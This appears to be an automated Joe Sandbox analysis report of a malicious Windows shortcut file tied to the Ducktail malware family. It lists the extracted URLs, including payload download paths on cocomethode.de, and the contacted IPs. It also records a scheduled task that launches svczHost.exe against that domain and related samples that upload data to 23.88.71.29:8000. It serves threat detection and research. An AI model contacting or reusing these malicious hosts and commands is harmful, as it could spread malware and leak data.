https://aka.ms/dotnet-warnings/	powershell.exe, 0000000C.00000002.4212100544.0000027D1D32F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4212100544.0000027D1DAAE000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, svczHost.exe, 00000014.00000002.4700638518.00007FF63409B000.00000002.00000001.01000000.00000009.sdmp, svczHost.exe, 00000014.00000002.4691628705.000001EB4FB46000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000014.00000002.4700638518.00007FF633F82000.00000002.00000001.01000000.00000009.sdmp, myRdpService.exe	false		high
http://crl.microso	powershell.exe, 00000007.00000002.3292179580.000002092C78E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.osofm/pk	powershell.exe, 0000000C.00000002.3582263211.0000027D0CF19000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cocomethode.de/file2/0581aba62a106ea04cdf6f3772592fc1199b70b957cfe082abf00cb9a2df1f568594743	powershell.exe, 00000003.00000002.3346172809.0000016200852000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://aka.ms/nativeaot-compatibility	myRdpService.exe	false		high
https://contoso.com/	powershell.exe, 0000000C.00000002.4212100544.0000027D1D096000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000002.00000002.3132340803.000002D33AF37000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.3118500948.000002D32C179000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.3132340803.000002D33AE00000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.3432360033.00000162101D5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.3284112266.0000020924396000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.3248625933.000002091587F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4212100544.0000027D1D096000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/PesterXz	powershell.exe, 00000002.00000002.3118500948.000002D32AFAB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.3346172809.000001620038B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.3248625933.0000020914589000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.3583033672.0000027D0D24D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ocsp.quovadisoffshore.com0	powershell.exe, 00000002.00000002.3135467579.000002D342EE7000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.3442091640.0000016218295000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.3288925218.000002092C42E000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.3581394319.0000027D0CED4000.00000004.00000020.00020000.00000000.sdmp, svczHost.exe, 00000014.00000002.4688083630.000001EB4B8CA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000002.00000002.3118500948.000002D32AD81000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.3346172809.0000016200161000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.3248625933.0000020914321000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.3583033672.0000027D0D021000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4212100544.0000027D1DAAE000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, svczHost.exe, 00000014.00000002.4700638518.00007FF63409B000.00000002.00000001.01000000.00000009.sdmp, svczHost.exe, 00000014.00000002.4691628705.000001EB4FB46000.00000004.00001000.00020000.00000000.sdmp, myRdpService.exe	false		high
http://.jpg	powershell.exe, 0000000C.00000002.4212100544.0000027D1DAAE000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000014.00000002.4700638518.00007FF63409B000.00000002.00000001.01000000.00000009.sdmp, svczHost.exe, 00000014.00000002.4691628705.000001EB4FB46000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bae10afda605b27	powershell.exe, 00000003.00000002.3346172809.0000016200785000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000002.00000002.3132340803.000002D33AF37000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.3118500948.000002D32C179000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.3132340803.000002D33AE00000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.3432360033.0000016210368000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.3432360033.00000162101D5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.3284112266.0000020924396000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.3248625933.000002091587F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4212100544.0000027D1D096000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0	powershell.exe, 00000007.00000002.3248625933.0000020915727000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000007.00000002.3248625933.000002091581E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.3248625933.0000020914589000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.3583033672.0000027D0D24D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000007.00000002.3248625933.0000020914589000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.3583033672.0000027D0D5A2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000007.00000002.3248625933.000002091581E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.3290670500.000002092C6AC000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.3248625933.0000020914589000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.3583033672.0000027D0D24D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000007.00000002.3248625933.0000020915696000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.3248625933.0000020915172000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.pngh	powershell.exe, 00000002.00000002.3118500948.000002D32C11C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.3118500948.000002D32C0E4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.3248625933.00000209157F3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.3248625933.000002091581E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cocomethode.de/file2/5a0471e79676f6960f268adf43164cb8fc84dce8007a24a8c9bcf6acf05c2f43f1ee518	powershell.exe, 0000000C.00000002.3583033672.0000027D0D021000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.3583033672.0000027D0D24D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://aka.ms/nativeaot-compatibilityy	powershell.exe, 0000000C.00000002.4212100544.0000027D1DAAE000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000014.00000002.4700638518.00007FF63409B000.00000002.00000001.01000000.00000009.sdmp, svczHost.exe, 00000014.00000002.4691628705.000001EB4FB46000.00000004.00001000.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 0000000C.00000002.4212100544.0000027D1D096000.00000004.00000800.00020000.00000000.sdmp	false		high
http://cocomethode.de:443/	svczHost.exe, 00000014.00000002.4689693534.000001EB4E8AF000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cocomethode.de/file2/30bb492ec87899a2b4a8fa5c9eeec4695bfb20347d487db9d7c0bde27a5e0ba5eac5fd4	powershell.exe, 0000000C.00000002.3583033672.0000027D0D42F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/Pester/Pester	powershell.exe, 00000007.00000002.3248625933.000002091581E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.3248625933.0000020914589000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.3583033672.0000027D0D24D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.nH	powershell.exe, 0000000C.00000002.4371394031.0000027D26240000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.htmlXz	powershell.exe, 00000002.00000002.3118500948.000002D32AFAB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.3346172809.000001620038B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.3248625933.0000020914589000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.3583033672.0000027D0D24D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.microsof	powershell.exe, 00000007.00000002.3292179580.000002092C806000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000007.00000002.3248625933.0000020914589000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.3583033672.0000027D0D5A2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/nativeaot-compatibilityY	svczHost.exe, 00000014.00000002.4691628705.000001EB4FB46000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pesterh	powershell.exe, 00000002.00000002.3118500948.000002D32C11C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.3118500948.000002D32C0E4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.3248625933.00000209157F3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.3248625933.000002091581E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.htmlh	powershell.exe, 00000002.00000002.3118500948.000002D32C11C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.3118500948.000002D32C0E4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.3248625933.00000209157F3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.3248625933.000002091581E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba9213d0acc74f8	powershell.exe, 0000000C.00000002.3583033672.0000027D0D42F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.3583033672.0000027D0EB63000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bab506f6a812b20	powershell.exe, 00000003.00000002.3346172809.0000016200852000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cocomethode.de/file2/a6c68eda5eb2f2e24f6b71bb75ddc6d507a5fe468316dd82743217491c7dea68954e62f	powershell.exe, 00000003.00000002.3346172809.0000016200550000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.quovadis.bm0	powershell.exe, 00000002.00000002.3135467579.000002D342EE7000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.3442091640.0000016218295000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.3288925218.000002092C42E000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.3581394319.0000027D0CED4000.00000004.00000020.00020000.00000000.sdmp, svczHost.exe, 00000014.00000002.4688083630.000001EB4B8CA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/GlobalizationInvariantMode	powershell.exe, 0000000C.00000002.4212100544.0000027D1DAAE000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, svczHost.exe, 00000014.00000002.4700638518.00007FF63409B000.00000002.00000001.01000000.00000009.sdmp, svczHost.exe, 00000014.00000002.4691628705.000001EB4FB46000.00000004.00001000.00020000.00000000.sdmp, myRdpService.exe	false		high
https://aka.ms/pscore68	powershell.exe, 00000002.00000002.3118500948.000002D32AD81000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.3346172809.0000016200161000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.3248625933.0000020914321000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.3583033672.0000027D0D021000.00000004.00000800.00020000.00000000.sdmp	false		high
https://oneget.org	powershell.exe, 00000007.00000002.3248625933.0000020915727000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57f	powershell.exe, 00000003.00000002.3346172809.0000016201A93000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.micro.com/pki/certs/MicRooCerAut_2010-06-23.crt0	powershell.exe, 0000000C.00000002.3581394319.0000027D0CF03000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.pngXz	powershell.exe, 00000002.00000002.3118500948.000002D32AFAB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.3346172809.000001620038B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.3248625933.0000020914589000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.3583033672.0000027D0D24D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.1.51	cocomethode.de	United States		13335	CLOUDFLARENETUS	true
23.88.71.29	unknown	United States		18978	ENZUINC-US	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1573015
Start date and time:	2024-12-11 12:56:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 33s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, Chrome 128, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Run name:	Suspected VM Detection
Number of analysed new started processes analysed:	56
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Cj3OWJHzls.lnk
Detection:	MAL
Classification:	mal100.troj.expl.evad.winLNK@81/63@1/2
EGA Information:	Successful, ratio: 10%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .lnk

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, backgroundTaskHost.exe, WmiPrvSE.exe
Excluded IPs from analysis (whitelisted): 52.109.20.38, 52.113.194.132, 52.111.229.48, 13.89.178.27, 173.194.219.94, 20.190.135.4
Excluded domains from analysis (whitelisted): ecs.office.com, self-events-data.trafficmanager.net, prod.configsvc1.live.com.akadns.net, scus-azsc-config.officeapps.live.com, self.events.data.microsoft.com, onedscolprdcus03.centralus.cloudapp.azure.com, ctldl.windowsupdate.com, s-0005-office.config.skype.com, prod.nexusrules.live.com.akadns.net, ecs-office.s-0005.s-msedge.net, login.live.com, s-0005.s-msedge.net, config.officeapps.live.com, us.configsvc1.live.com.akadns.net, officeclient.microsoft.com, ecs.office.trafficmanager.net, www.gstatic.com, nexusrules.officeapps.live.com
Execution Graph export aborted for target myRdpService.exe, PID 6808 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 1088 because it is empty
Execution Graph export aborted for target powershell.exe, PID 1548 because it is empty
Execution Graph export aborted for target powershell.exe, PID 2684 because it is empty
Execution Graph export aborted for target powershell.exe, PID 4152 because it is empty
Execution Graph export aborted for target powershell.exe, PID 6164 because it is empty
Execution Graph export aborted for target powershell.exe, PID 6736 because it is empty
Execution Graph export aborted for target powershell.exe, PID 8532 because it is empty
Execution Graph export aborted for target svczHost.exe, PID 9108 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Cj3OWJHzls.lnk

Simulations

Behavior and APIs

Time	Type	Description
06:58:11	API Interceptor	264x Sleep call for process: powershell.exe modified
07:00:33	API Interceptor	23x Sleep call for process: myRdpService.exe modified
12:58:56	Task Scheduler	Run new task: zServicecakoi10 path: C:\Windows\Temp\svczHost.exe s>cakoi10 cocomethode.de

LLM Input / Output

Input	Output
URL: Screenshot id: 3 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 10 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 7 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 11 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 6 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 8 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 19 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 22 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 21 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 17 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 5 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 12 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 14 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 18 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 16 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 15 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 20 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 4 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 13 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 3 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: Screenshot id: 9 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 10 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 7 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 19 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 8 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 11 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 6 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 22 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 21 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 16 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 14 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 17 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 4 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 20 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 5 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 9 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 18 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 15 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 13 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 12 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.1.51	3y37oMIUy6.lnk	Get hash	malicious	Ducktail	Browse	cocomethode.de/api/check
	0A3NB8ot11.lnk	Get hash	malicious	Ducktail	Browse	cocomethode.de/api/check
	WXahq3ZEss.lnk	Get hash	malicious	Ducktail	Browse	cocomethode.de/api/check
	0A3NB8ot11.lnk	Get hash	malicious	Ducktail	Browse	cocomethode.de/api/check
	rRtGI3L0ca.lnk	Get hash	malicious	Ducktail	Browse	cocomethode.de/api/check
23.88.71.29	3y37oMIUy6.lnk	Get hash	malicious	Ducktail	Browse	23.88.71.29:8000/api/registry/upload/6cce7182d50ed3d7e611466cceafa5e2
	m9c7iq9nzP.lnk	Get hash	malicious	Ducktail	Browse	23.88.71.29:8000/api/registry/upload/29b7a8f8d9967ca4c3166269aa4de757
	WXahq3ZEss.lnk	Get hash	malicious	Ducktail	Browse	23.88.71.29:8000/api/registry/upload/6cce7182d50ed3d7e611466cceafa5e2
	0A3NB8ot11.lnk	Get hash	malicious	Ducktail	Browse	23.88.71.29:8000/api/registry/upload/29b7a8f8d9967ca4c3166269aa4de757
	rRtGI3L0ca.lnk	Get hash	malicious	Ducktail	Browse	23.88.71.29:8000/api/registry/upload/6cce7182d50ed3d7e611466cceafa5e2
	L0jeOoavu4.lnk	Get hash	malicious	Ducktail	Browse	23.88.71.29:8000/api/registry/upload/29b7a8f8d9967ca4c3166269aa4de757
	kingsmaker_4.ca.ps1	Get hash	malicious	Ducktail	Browse	23.88.71.29:8000/command/ws
	kingsmaker_6.ca.ps1	Get hash	malicious	Ducktail	Browse	23.88.71.29:8000/api/registry/upload/6cce7182d50ed3d7e611466cceafa5e2
	kingsmaker.ca.ps1	Get hash	malicious	Ducktail	Browse	23.88.71.29:8000/api/registry/upload/29b7a8f8d9967ca4c3166269aa4de757
	Job Description.lnk (2).download.lnk	Get hash	malicious	Ducktail	Browse	23.88.71.29:8000/api/registry/upload/6cce7182d50ed3d7e611466cceafa5e2

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cocomethode.de	3y37oMIUy6.lnk	Get hash	malicious	Ducktail	Browse	104.21.1.51
	m9c7iq9nzP.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	WXahq3ZEss.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	0A3NB8ot11.lnk	Get hash	malicious	Ducktail	Browse	104.21.1.51
	rRtGI3L0ca.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	L0jeOoavu4.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	MdmRznA6gx.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	3y37oMIUy6.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	m9c7iq9nzP.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	message__86_4F_17774_8082F476_ccg01mail04_.eml	Get hash	malicious	Unknown	Browse	1.1.1.1
	3y37oMIUy6.lnk	Get hash	malicious	Ducktail	Browse	104.21.1.51
	m9c7iq9nzP.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	WXahq3ZEss.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	0A3NB8ot11.lnk	Get hash	malicious	Ducktail	Browse	104.21.1.51
	http://balmyrind.com/	Get hash	malicious	Unknown	Browse	1.1.1.1
	rRtGI3L0ca.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	L0jeOoavu4.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	print preview.js	Get hash	malicious	FormBook	Browse	172.67.187.200
	MdmRznA6gx.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
